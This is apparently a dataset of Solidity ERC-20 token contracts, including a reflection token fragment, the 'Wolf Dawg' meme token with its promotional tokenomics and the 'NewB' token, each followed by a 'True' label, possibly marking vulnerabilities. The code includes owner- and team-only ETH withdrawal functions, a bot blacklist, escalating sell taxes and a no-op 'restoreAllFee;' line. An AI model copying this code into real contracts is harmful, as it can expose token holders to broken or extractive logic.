function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function claimTokens() public onlyOwner {
payable(_owner).transfer(address(this).balance);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | True | [
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/*
Wolf Dawg
Get ready to rocket! Myobu tokenomics - IMPROVED.
A more FAST-PACED & EXCITING token.
You have 4 sells within every 8-hour period, instead of every 24-hours!
https://t.me/WolfDawgOfficial
https://wolfdawg.net
https://twitter.com/WolfDawgToken
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within an 8 hour period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Wolfdawg is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Wolf Dawg";
string private constant _symbol = "WOLFDAWG";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (8 hours);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
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|
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'NewB' token contract
//
// Deployed to : 0xC009dae7E9585F3c960d5490756dADD028a4dEb6
// Symbol :
// Name : NewB COIN
// Total supply: 300000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract NewBToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function NewBToken() public {
symbol = "NewB";
name = "NewB COIN";
decimals = 18;
_totalSupply = 300000000000000000000000000;
balances[0xC009dae7E9585F3c960d5490756dADD028a4dEb6] = _totalSupply;
Transfer(address(0), 0xC009dae7E9585F3c960d5490756dADD028a4dEb6, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
/* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
